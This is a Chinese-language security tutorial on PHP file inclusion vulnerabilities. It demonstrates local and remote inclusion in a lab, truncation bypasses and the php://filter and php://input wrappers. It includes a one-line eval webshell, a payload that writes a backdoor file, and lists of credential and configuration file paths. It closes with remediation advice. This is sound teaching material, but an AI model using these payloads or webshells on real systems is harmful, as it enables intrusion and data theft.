首页 > 其他分享 >文件包含漏洞全解

文件包含漏洞全解

时间:2023-06-15 18:55:24浏览次数:37  
标签:文件 php 包含 代码 漏洞 全解 txt

文件包含漏洞

文件包含漏洞(File Inclusion Vulnerability)是指应用程序中存在的一种安全漏洞,攻击者通过利用该漏洞可以在应用程序中执行任意代码。文件包含漏洞通常出现在动态网页中,攻击者通过在URL中注入恶意代码,使应用程序将恶意代码作为正常代码执行。这种漏洞的危害性很大,攻击者可以利用该漏洞窃取敏感信息、篡改数据、控制服务器等。
这是较为官方的一个解释,其实用我们自己的话解释就是:开发人员在开发程序的时候,每次都需要使用某一个或者是某几个文件中的代码,这样很不方便,为了这个方便性,他会将被包含的文件设置成为一个变量,然后这样的话就可以非常方便的调用这些文件。但是开发人员只考虑到了调用的方便性,没有考虑用户是否也可以调用这些文件,当然也就没有做任何的限制,这就导致了攻击者会去利用这个特征进行一些恶意操作。需要注意的是文件包含本身其实没有漏洞的,这是属于开发人员的疏忽而导致的。

文件包含漏洞的分类:本地包含、远程包含

本地包含

1、新建一个php文件,里面写上简单的代码语句
<?php
 $file=$_GET['file'];
 include($file);
 ?>

这段代码的意思是GET传参,赋值给变量file,然后包含这个变量file,而GET传进来的参数必须是我们的WWW目录下有的参数,如果没有则会报错,如下图所示

因为是在本地搭建,那么我们就在www目录下创建1.txt文件,其中写入这个phpinfo代码语句

2、代码如下:
 <?php phpinfo();?>

然后进行访问:

我们可以看到文件1.txt中的代码会被当做php文件进行了执行。这就是简单的一个文件包含漏洞。如果在实战中你的信息收集做的足够到位,收集的内容也足够的多,知道他的什么目录下有什么文件,那么我们是否可以读取他的这些文件,我们将1.txt文件复制到phpstudy下的Extensions中,这次我们再进行访问

如图所示,也是可以将其中的代码进行解析(握糙,phpstudy中的内容不保),那么我们是否可以再退一级,读取他的D盘上的内容呢?我们再将1.txt文件复制到D盘下,这时我们就需要退两级,然后访问
注:../是向上退一级

如图所示,,也是可以将其中的代码进行解析的(握草,D盘内容不保),来点更狠的,那么我们再退一级是否可以访问到C盘上的内容呢?我们再把1.txt文件复制到C盘中,这时我们需要退三级,然后访问

我们会发现报错了,不是因为写的有问题,而是这种写法存在一些问题,可能会导致不可预期的行为,这种写法依赖于当前工作目录,如果工作目录发生变化,可能会导致文件读取失败或读取到错误的文件。因此,建议使用绝对路径。file=C:/1.txt

如图所示,,也是可以将其中的代码进行解析的(握草,C盘内容不保),当然,有些人直接将phpstudy安装在了C盘,不需要跨盘,直接就可以访问。

看到这里其实你应该思考到了这个漏洞的危害,当我们包含的文件中不是php代码,而是一些内容,那么他将会把其中的内容进行读取。我们创建一个2.txt文件,文件中写入一些内容,然后访问

如图所示,他是将文件中的内容进行了一个读取,这样的话,weindows中或者linux中那些存放敏感文件,以及配置文件的文件是否安全?那肯定是全部泄露。(Windows和Linux中存放敏感文件的目录见文章结尾处)

上述说明的就是一个无限制的本地包含漏洞,如果其中的代码不解析,那么只能进行读取。
假如在真实网站中存在这个本地包含漏洞,你想利用得知道文件的名字以及路径(可以看url中的显示,也可以通过目录扫描得知),否则将无法利用,如果其中没有脚本代码文件,那么你只能进行读取文件,而不能进行解析,此处需要你配合其他漏洞进行利用了,如文件上传漏洞,上传一个对应的脚本文件(一句话木马),然后包含他,用shell管理工具:菜刀或者蚁剑进行连接。他没有其他漏洞,或者你得不到文件名字以及路径,即使有漏洞影响也不大,由此可见,其利用难度是挺高的。

接下来我们看一下有限制的本地包含漏洞,也就是说开发人员知道自己这样调用可能会导致包含漏洞的产生,于是做了一些限制,但是他没有想到的是这些限制可以进行绕过,绕过了就和无限制的本地包含漏洞一样了

将我们的index.php文件中的代码修改为
<?php
 $file=$_GET['file'];
 include($file.".html");
?>

以上代码的意思是GET传参,赋值给$file,然后会将$file和.html进行连接,然后包含。也就是说用户传进来的变量file的后缀会加上html,比如我们还是包含1.txt文件,那么最后他的后缀就会变为1.txt.html,这样的后缀是以最后一个为准,是.html文件,这样也可以进行一个有效防御,我们来访问一下

如图所示,他会提示我们这个文件不存在,是可以在一定程度上防止文件包含漏洞的产生,那么我们是可以进行绕过的,只用于php版本低于5.3的,高于5.3无法用以下方法绕过,高于5.3版本就可能需要配合别的漏洞进行下一步操作了,懂安全的开发真的很加分。我们将php版本切到5.3以下进行演示

如图所示,在我们增加了%00截断,他也是可以进行一个解析,当然这种方法也是有限制条件的,php版本必须得低于5.3以下,magic_quotes_gpc=off(其处于关闭状态),当然我们也可以使用长度截断,在1.txt后面一直加......或者是./././等等进行绕过。

如图所示的绕过,这个条件需要满足的是只有php版本低于5.3,magic_quotes_gpc=off(其处于什么状态都是没有影响的)

补充:

使用长度截断Windows系统长度需要高于256位,Linux系统长度要高于4096位

以上所述就是本地包含的两种情况——————有限制的、无限制的。有限制的绕过需要明白其满足条件,而且有限制的话,我们一般情况下是很难去猜到他到底用了什么限制,当然他有可能报错的时候会爆出来是用了什么,如图所示,如果他的回显中没有,其利用难度可想而知。

远程包含

声明:192.168.1.36为受害者电脑IP,192.168.1.41为攻击者电脑IP

远程包含漏洞是有函数进行限制,如果代码函数限制了远程包含,那么就只能是本地包含,而且其中的某些设置也是需要开启的。

如图所示,需要是On才可以进行远程包含,我们为了方便测试,直接把192.168.1.36(受害者电脑)这个参数打开,先来看一下无限制的远程包含漏洞,

受害者www目录下正好有如下代码
<?php
 $file=$_GET['file'];
 include($file);
?>

这时,攻击者在phpstudy里面的WWW目录创建1.txt文件,然后写上phpinfo代码,然后用受害者IP去远程包含攻击者的1.txt文件(两台电脑在同一个局域网,都是基于phpstudy进行演示)

如图所示,那么如果攻击者在他的1.txt文件写上一句话木马呢,然后用菜刀或者蚁剑去连,是否就可以达到一个远控的目的

一句话木马
<?php @eval($_POST[x])?>


如图所示,连接成功。

有限制的远程包含漏洞
受害者的电脑中写入如下代码
 <?php
  $file=$_GET['file'];
  include($file.".html");
 ?>

这样的话在我们连接的时候就会出现问题,因为这个file后面会强制加上.html

同样我们进行绕过,这种绕过方式和我们的本地包含漏洞有所不同,可以直接在url中1.txt后面直接加?、%23或者%20,长度截断在此处不适用,%00也可以。

如图所示,可以执行成功,因为1.txt里面是一句话木马,执行不显示,所以我又加了121212这些数字。
以上就是远程包含漏洞的两种方式,远程包含漏洞对php版本有要求,需要5.3以下版本,远程包含漏洞我们其实可以理解为是本地包含漏洞开启了某些配置,所以都是差不多的。

远程包含漏洞还可以结合伪协议去进行利用(伪协议是一种特殊的URL协议,它不是真正的网络协议,而是被用于访问本地文件系统或执行特定的操作。),先来了解一下各种脚本语言支持的伪协议,因为文件包含漏洞的产生和脚本语言没有关系,所以他不止是发生在php脚本语言中,他也有可能在JAVA,curl脚本语言中产生
以下就是各种脚本支持的协议情况

以下是php支持的各种协议

先来搞一个fileter协议

读取文件源码用法
php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php


以上是一个base64编码,所以还需要进行解码,解码后的内容就是文件的内容

执行php代码用法
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

写入一句话木马用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>


这个是可以实现写入一个后门文件,然后用shell管理工具进行连接。

附:weindows和linux中的敏感文件的位置

windows

C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息

Linux

/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

就详细描述一个伪协议,具体情况请参考
https://www.cnblogs.com/endust/p/11804767.html

总结

以上就是文件包含漏洞所有的内容,通过以上的介绍,我们可以看出文件包含漏洞利用难度,也可以根据他的原理提出修复建议:1、可以限制用户访问文件的权限;2、include函数中的参数用户是否可控,如果可控,则要限制;3、增加过滤,对用户输入的敏感参数进行过滤;4、配置文件中不必要开的参数设置为OFF等等,希望本文能对你有所帮助,星光安全面向基础
欢迎大家关注公众号:星光安全

标签:文件,php,包含,代码,漏洞,全解,txt
From: https://www.cnblogs.com/chu-jian/p/17481660.html

相关文章

  • 92 从键盘获取3个汽车 汽车包含品牌 价格 颜色
    对象packagecom.fqs.Car;publicclassCar{//汽车的三个属性privateStringbrand;privatedoubleprice;privateStringcolor;//javabean格式publicCar(){}publicCar(Stringbrand,doubleprice,Stringcolor){......
  • vue封装包含区域内不可拖拽的可拖拽组件
    标题比较绕口,大概意思就是封装一个可拖拽组件,但是因为组件内有文件或者表单或者其它原因而不可在这个区域内使用拖拽,所以在绑定拖拽区域方法的同时限制不可拖拽区域。实现方式很简单  直接看代码drag.jsimportVuefrom'vue'exportconstdrag=Vue.directive('drag',{......
  • 如何在自动化测试中发现未知漏洞?
    随着软件技术的发展,自动化测试已经成为了软件开发流程中重要的一环。在测试过程中,我们通常会关注已知的漏洞或缺陷,但是如何在自动化测试中发现未知漏洞呢?下面将探讨一些方法。1.Fuzz测试Fuzz测试是一种黑盒测试方法,它基于输入数据的随机生成和测试,可以检测到很多未知的漏洞。这种......
  • xpoc漏洞使用与编写 浅尝
    下载地址https://github.com/chaitin/xpoc/releases目前最新版本是0.0.4可能是我还是不太习惯yaml这种结构的,感觉就很反人类,所以我以前一般都还是pocsuite用的比较多,结果pocsuite最后也支持yaml了orz,如下#!yamlname:testpocdescription:ThisisatestPOCscriptwri......
  • Libssh认证绕过CVE-2018-10933漏洞复现
    0x00漏洞描述libssh0.6 及以上的版本,在服务端的代码实现中存在身份认证绕过漏洞。在向服务端认证的流程中,攻击者通过将 SSH2_MSG_USERAUTH_REQUEST 消息替换为 SSH2_MSG_USERAUTH_SUCCESS,即可在无需任何有效凭证的情况下认证成 0x01漏洞影响版本libssh0.8.x-0.8.3l......
  • m基于FPGA的AGC自适应增益控制系统verilog实现,包含testbench
    1.算法仿真效果Vivado2019.2仿真结果如下:放大后可以看到:2.算法涉及理论知识概要数字AGC(AutomaticGainControl)是一种广泛应用于通信系统中的自动增益控制技术。它可以自动调节接收信号的增益,以使信号的强度保持在适当的范围内,从而保证接收到的信号质量。数字AGC广泛应......
  • 漏洞
    漏洞篇题目QSQL注入的原理和产生原因?ASQL注入原理:通过某种方式将恶意的sql代码添加到输入参数中,然后传递到sql服务器使其解析并执行的一种攻击手法漏洞产生原因(实现条件):用户对sql查询语句参数可控原本程序要执行的SQL语句,拼接了用户输入的恶意数据 QSQL注入的类型?A......
  • m基于FPGA的CRC循环冗余校验系统verilog实现,包含testbench
    1.算法仿真效果本系统进行了两个平台的开发,分别是:Vivado2019.2Quartusii18.0+ModelSim-Altera6.6dStarterEdition其中Vivado2019.2仿真结果如下:Quartusii18.0+ModelSim-Altera6.6dStarterEdition的测试结果如下:对比matlab结果:2.算法涉及理论知识概要CRC(CyclicR......
  • m基于FPGA的CRC循环冗余校验系统verilog实现,包含testbench
    1.算法仿真效果本系统进行了两个平台的开发,分别是: Vivado2019.2 Quartusii18.0+ModelSim-Altera6.6d StarterEdition 其中Vivado2019.2仿真结果如下:   Quartusii18.0+ModelSim-Altera6.6d StarterEdition的测试结果如下:  对比matlab结果:  2......
  • m基于FPGA的AGC自适应增益控制系统verilog实现,包含testbench
    1.算法仿真效果Vivado2019.2仿真结果如下:  放大后可以看到:   2.算法涉及理论知识概要       数字AGC(AutomaticGainControl)是一种广泛应用于通信系统中的自动增益控制技术。它可以自动调节接收信号的增益,以使信号的强度保持在适当的范围内,从而保证接收到......